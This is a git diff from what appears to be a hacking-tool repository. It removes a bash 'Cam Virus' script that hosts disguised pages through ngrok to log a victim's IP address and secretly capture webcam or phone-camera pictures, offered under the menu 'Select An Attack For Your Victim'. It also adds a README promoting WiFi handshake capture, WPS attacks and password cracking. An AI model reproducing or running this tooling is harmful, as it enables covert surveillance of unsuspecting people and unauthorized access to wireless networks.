diff --git a/Cam.sh b/Cam.sh deleted file mode 100644 index 4a3d030..0000000 --- a/Cam.sh +++ /dev/null @@ -1,333 +0,0 @@ -#--------------------INFO-------------------# -#CODING U7P4L -#SCRIPT Virus Infactor -#FACEBOOK > ANONYMOUS U7P4L -#GITHUB > ANONYMOUS-U7P4L -#-------------MAIN>MENU-------------# - - -## ANSI colors (FG & BG) -RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" ORANGE="$(printf '\033[33m')" BLUE="$(printf '\033[34m')" -MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')" -REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" ORANGEBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')" -MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')" -RESETBG="$(printf '\e[0m\n')" - -## Directories -if [[ ! -d ".server" ]]; then - mkdir -p ".server" -fi -if [[ -d ".server/www" ]]; then - rm -rf ".server/www" - mkdir -p ".server/www" -else - mkdir -p ".server/www" -fi - - -unzip website.zip > /dev/null 2>&1 -rm -rf website.zip > /dev/null 2>&1 - - -## Script termination -exit_on_signal_SIGINT() { - { printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Interrupted." 2>&1; reset_color; } - exit 0 -} - -exit_on_signal_SIGTERM() { - { printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Terminated." 2>&1; reset_color; } - exit 0 -} - -trap exit_on_signal_SIGINT SIGINT -trap exit_on_signal_SIGTERM SIGTERM - -## Reset terminal colors -reset_color() { - tput sgr0 # reset attributes - tput op # reset color - return -} - -## Kill already running process -kill_pid() { - if [[ `pidof php` ]]; then - killall php > /dev/null 2>&1 - fi - if [[ `pidof ngrok` ]]; then - killall ngrok > /dev/null 2>&1 - fi -} - -clear - -## Banner -banner() { - cat <<- EOF - - ${ORANGE} - - ██████ █████ ███ ███ ██ ██ ██ ██████ ██ ██ ███████ -${BLUE} ██ ██ ██ ████ ████ ██ ██ ██ ██ ██ ██ ██ ██ -${BLUE} ██ ███████ ██ ████ ██ ██ ██ ██ ██████ ██ ██ ███████ -${BLUE} ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ -${BLUE} ██████ ██ ██ ██ ██ ████ ██ ██ ██ ██████ ███████ - - ${RED} ================================================================================ - ${GREEN}[${WHITE}-${GREEN}]${CYAN}Tool Created BY ANONYMOUS U7P4L${WHITE}${RED} (Version : 1.0) - EOF -} - -## Dependencies -dependencies() { - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required packages..." - - if [[ -d "/data/data/com.termux/files/home" ]]; then - if [[ `command -v proot` ]]; then - printf '' - else - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}proot${CYAN}"${WHITE} - pkg install proot resolv-conf -y - fi - fi - - if [[ `command -v php` && `command -v wget` && `command -v curl` && `command -v unzip` ]]; then - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Packages already installed." - else - pkgs=(php curl wget unzip) - for pkg in "${pkgs[@]}"; do - type -p "$pkg" &>/dev/null || { - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}$pkg${CYAN}"${WHITE} - if [[ `command -v pkg` ]]; then - pkg install "$pkg" - elif [[ `command -v apt` ]]; then - apt install "$pkg" -y - elif [[ `command -v apt-get` ]]; then - apt-get install "$pkg" -y - elif [[ `command -v pacman` ]]; then - sudo pacman -S "$pkg" --noconfirm - elif [[ `command -v dnf` ]]; then - sudo dnf -y install "$pkg" - else - echo -e "\n${RED}[${WHITE}!${RED}]${RED} Unsupported package manager, Install packages manually." - { reset_color; exit 1; } - fi - } - done - fi - -} - -## Download Ngrok -download_ngrok() { - url="$1" - file=`basename $url` - if [[ -e "$file" ]]; then - rm -rf "$file" - fi - wget --no-check-certificate "$url" > /dev/null 2>&1 - if [[ -e "$file" ]]; then - unzip "$file" > /dev/null 2>&1 - mv -f ngrok .server/ngrok > /dev/null 2>&1 - rm -rf "$file" > /dev/null 2>&1 - chmod +x .server/ngrok > /dev/null 2>&1 - else - echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured, Install Ngrok manually." - { reset_color; exit 1; } - fi -} - -## Install ngrok -install_ngrok() { - if [[ -e ".server/ngrok" ]]; then - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok already installed." - else - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing ngrok..."${WHITE} - arch=`uname -m` - if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then - download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip' - elif [[ "$arch" == *'aarch64'* ]]; then - download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip' - elif [[ "$arch" == *'x86_64'* ]]; then - download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip' - else - download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip' - fi - fi - -} - -## Exit message -msg_exit() { - { clear; banner; echo; } - echo -e "\e[1;94m As you wish...lol\e[0m" - echo -e "" - sleep 0.2 - echo -e "\e[1;93m Leave!!\e[0m" - { reset_color; exit 0; } -} - -## About -about() { - { clear; banner; echo; } - cat <<- EOF - ${GREEN}Author ${RED}: ${ORANGE}Siddhant ${RED}[ ${ORANGE}Saaho ${RED}] - ${GREEN}Github ${RED}: ${CYAN}https://github.com/SiddhantOffl - ${GREEN}Version ${RED}: ${ORANGE}1.0 - - ${RED}[${WHITE}00${RED}]${ORANGE} Main Menu ${RED}[${WHITE}99${RED}]${ORANGE} Exit - - EOF - - read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}" - - if [[ "$REPLY" == 99 ]]; then - msg_exit - elif [[ "$REPLY" == 0 || "$REPLY" == 00 ]]; then - echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Returning to main menu..." - { sleep 1; main_menu; } - else - echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..." - { sleep 1; about; } - fi -} - -## Setup website and start php server -HOST='127.0.0.1' -PORT='8080' - -setup_site() { - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE} - cp -rf .webcam/"$website"/* .server/www - cp -f .webcam/ip.php .server/www/ - echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Starting PHP server..."${WHITE} - cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 & -} - -## Get IP address -capture_ip() { - IP=$(grep -a 'IP:' .server/www/ip.txt | cut -d " " -f2 | tr -d '\r') - IFS=$'\n' - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Victim's IP : ${BLUE}$IP" - echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}ip.txt" - cat .server/www/ip.txt >> ip.txt -} - - -## Print data -capture_data() { - echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting to Victim Picture, ${BLUE}Ctrl + C ${ORANGE}to exit..." - while true; do - if [[ -e ".server/www/ip.txt" ]]; then - echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Victim IP Found !" - capture_ip - rm -rf .server/www/ip.txt - fi - sleep 0.75 - if [[ -e ".server/www/Log.log" ]]; then - echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Image Received! ${RED}[${CYAN}check /images Folder${RED}]" - rm -rf .server/www/Log.log - fi - sleep 0.75 - done -} - -## Start ngrok -start_ngrok() { - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})" - { sleep 1; setup_site; } - echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..." - - if [[ `command -v termux-chroot` ]]; then - sleep 2 && termux-chroot ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 & # Thanks to Mustakim Ahmed (https://github.com/BDhackers009) - else - sleep 2 && ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 & - fi - - { sleep 8; clear; banner; } - ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") - ngrok_url1=${ngrok_url#https://} - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url" - capture_data -} - -## Start localhost -start_localhost() { - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})" - setup_site - { sleep 1; clear; banner; } - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Successfully Hosted at : ${GREEN}${CYAN}http://$HOST:$PORT ${GREEN}" - capture_data -} - -## Tunnel selection -tunnel_menu() { - { clear; banner; } - cat <<- EOF - - ${RED}[${WHITE}01${RED}]${ORANGE} Localhost ${RED}[${CYAN}For Devs${RED}] - ${RED}[${WHITE}02${RED}]${ORANGE} Ngrok.io ${RED}[${CYAN}Best${RED}] - - EOF - - read -p "${RED}[${WHITE}-${RED}]${GREEN} Select a port forwarding service : ${BLUE}" - - if [[ "$REPLY" == 1 || "$REPLY" == 01 ]]; then - start_localhost - elif [[ "$REPLY" == 2 || "$REPLY" == 02 ]]; then - start_ngrok - else - echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..." - { sleep 1; tunnel_menu; } - fi -} - - -## Menu -main_menu() { - { clear; banner; echo; } - cat <<- EOF - ${RED} [${WHITE}::${RED}]${ORANGE} Select An Attack For Your Victim ${RED}[${WHITE}::${RED}]${ORANGE} - - ${RED} [${WHITE}01${RED}]${ORANGE} Deafult - ${RED} [${WHITE}02${RED}]${ORANGE} Face App - ${RED} [${WHITE}03${RED}]${ORANGE} Reload App - ${RED} [${WHITE}99${RED}]${ORANGE} About - ${RED} [${WHITE}00${RED}]${ORANGE} Exit - - EOF - - read -p " ${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}" - - if [[ "$REPLY" == 1 || "$REPLY" == 01 ]]; then - website="deafult" - tunnel_menu - - - elif [[ "$REPLY" == 2 || "$REPLY" == 02 ]]; then - website="camera_temp" - tunnel_menu - - elif [[ "$REPLY" == 3 || "$REPLY" == 03 ]]; then - website="xmen_temp" - tunnel_menu - - elif [[ "$REPLY" == 99 ]]; then - about - - elif [[ "$REPLY" == 0 || "$REPLY" == 00 ]]; then - msg_exit - - else - echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..." - { sleep 1; main_menu; } - fi -} - -##Main - -kill_pid -dependencies -install_ngrok -main_menu diff --git a/IMAGE/carbon.png b/IMAGE/carbon.png new file mode 100644 index 0000000..5480ba2 Binary files /dev/null and b/IMAGE/carbon.png differ diff --git a/IMAGE/demo1.png b/IMAGE/demo1.png new file mode 100644 index 0000000..456af7a Binary files /dev/null and b/IMAGE/demo1.png differ diff --git a/IMAGE/demo2.png b/IMAGE/demo2.png new file mode 100644 index 0000000..75e9199 Binary files /dev/null and b/IMAGE/demo2.png differ diff --git a/IMAGE/demo3.png b/IMAGE/demo3.png new file mode 100644 index 0000000..fa09d8b Binary files /dev/null and b/IMAGE/demo3.png differ diff --git a/IMAGE/demo4.png b/IMAGE/demo4.png new file mode 100644 index 0000000..d042a3c Binary files /dev/null and b/IMAGE/demo4.png differ diff --git a/IMAGE/demo5.jpg b/IMAGE/demo5.jpg new file mode 100644 index 0000000..3a8ba8b Binary files /dev/null and b/IMAGE/demo5.jpg differ diff --git a/IMAGE/demo6.jpg b/IMAGE/demo6.jpg new file mode 100644 index 0000000..08e8a56 Binary files /dev/null and b/IMAGE/demo6.jpg differ diff --git a/IMAGE/demo7.jpg b/IMAGE/demo7.jpg new file mode 100644 index 0000000..8dbb2d1 Binary files /dev/null and b/IMAGE/demo7.jpg differ diff --git a/Index.py b/Index.py new file mode 100644 index 0000000..7531d37 --- /dev/null +++ b/Index.py @@ -0,0 +1,2 @@ +import os +os.system("WIFI.py") diff --git a/LICENSE b/LICENSE index 07faa55..32234db 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2023 U7P4L MALLICK ONGKON +Copyright (c) 2023 Mr. U7P4L Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/README.md b/README.md index 1b44749..323527a 100644 --- a/README.md +++ b/README.md @@ -1,37 +1,119 @@ +![header](https://capsule-render.vercel.app/api?type=waving&color=auto&height=300§ion=header&text=WIFI%20HACKING&fontSize=90&animation=fadeIn&fontAlignY=38&desc=HACK%20WIFI%20USING%20ROOT%20TRMINAL&descAlignY=51&descAlign=62) + +
-____Welcome____
+
+
+
+
+#### Language >
+
-AUTHOR:
-
-ANONYMOUS U7P4L +>WiFi hacking tools are software used to exploit vulnerabilities in wireless networks, often for security testing or unauthorized access . - -
- ⚡⚡Cam VIrus shoots from the target's phone front camera or PC webcam just sending a link.⚡ +#### Feutures and Containt : +- [1] Start monitor mode +- [2] Stop monitor mode +- [3] Getting Handshake +- [5] Install Wireless tools +- [6] WPS Networks attacks +- [7] Scan for WPS Networks +- [8] Crack Handshake with rockyou.txt +- [9] Crack Handshake with wordlist +- [10] Crack Handshake without wordlist + +### Tested On : +* Kali Linux +* BlackArch Linux +* Ubuntu +* Kali Nethunter +* Termux ( Rooted Devices) + +
+
+
+
+
+
+
+
+
+
+